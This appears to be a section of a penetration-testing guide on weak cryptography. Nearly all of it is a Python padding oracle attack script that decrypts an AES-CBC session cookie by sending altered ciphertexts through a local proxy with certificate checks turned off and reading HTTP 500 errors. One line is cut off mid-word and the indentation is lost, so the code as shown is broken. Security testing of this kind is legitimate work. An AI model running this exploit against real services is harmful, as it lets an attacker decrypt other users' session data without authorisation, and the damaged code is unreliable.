4.9 Testing for Weak Cryptography
Last updated
Last updated
Evidence:
import requests
import base64
import urllib.parse
import urllib3
# Suppress only the InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Target URL
url = "<URL>"
# Proxy configuration
proxies = {
'http': 'http://127.0.0.1:8080', # Set your proxy here
'https': 'http://127.0.0.1:8080' # Set your proxy here
}
# Original cookie (URL decoded)
original_cookie = "<COOKIE>"
# Decode the cookie (it's URL encoded)
cookie_value = urllib.parse.unquote(original_cookie)
# Convert the cookie value from Base64 (replace URL-safe characters)
ciphertext = base64.b64decode(cookie_value)
# Splitting the ciphertext into blocks (assuming AES block size of 16 bytes)
block_size = 16
blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
# Function to send a request with a modified cookie and check for padding errors
def check_padding_oracle(modified_ciphertext):
# Base64 encode the modified ciphertext and URL encode it
modified_cookie = base64.b64encode(modified_ciphertext).decode().replace('+', '-').replace('/', '_').rstrip('=')
modified_cookie = urllib.parse.quote(modified_cookie)
# Send the request with the modified cookie
cookies = {'NotificationStateV2.0': modified_cookie}
response = requests.get(url, cookies=cookies, proxies=proxies, verify=False) # verify=False to skip SSL warnings)
# Check for a padding error based on the response
# You may need to change this based on how the server responds (403, 500, specific message, etc.)
if response.status_code == 500: # Adjust this condition as needed
return True # Padding error
return False
# Padding Oracle Attack logic
def padding_oracle_attack(blocks):
decrypted_blocks = []
for block_index in range(1, len(blocks)):
decrypted_block = bytearray(block_size) # Store decrypted bytes for this block
intermediate_state = bytearray(block_size) # Store intermediate state bytes
previous_block = blocks[block_index - 1]
current_block = blocks[block_index]
# Decrypt each byte in the current block
for byte_index in range(1, block_size + 1):
padding_value = byte_index
# Try all possible byte values to guess the correct padding
for guess in range(256):
# Modify the previous block to produce the correct padding
modified_block = bytearray(previous_block)
for i in range(1, padding_value):
modified_block[-i] ^= intermediate_state[-i] ^ padding_value
modified_block[-padding_value] ^= guess
# Concatenate the modified previous block and the current block
modified_ciphertext = bytes(modified_block) + bytes(current_bl
# Check if we found the correct padding
if check_padding_oracle(modified_ciphertext):
intermediate_state[-padding_value] = guess ^ padding_value
decrypted_block[-padding_value] = intermediate_state[-padding_value] ^ previous_block[-padding_value]
break
decrypted_blocks.append(decrypted_block)
return b''.join(decrypted_blocks)
# Launching the attack
if __name__ == "__main__":
decrypted = padding_oracle_attack(blocks)
print("Decrypted message:", decrypted)Evidence:
Evidence:
Evidence: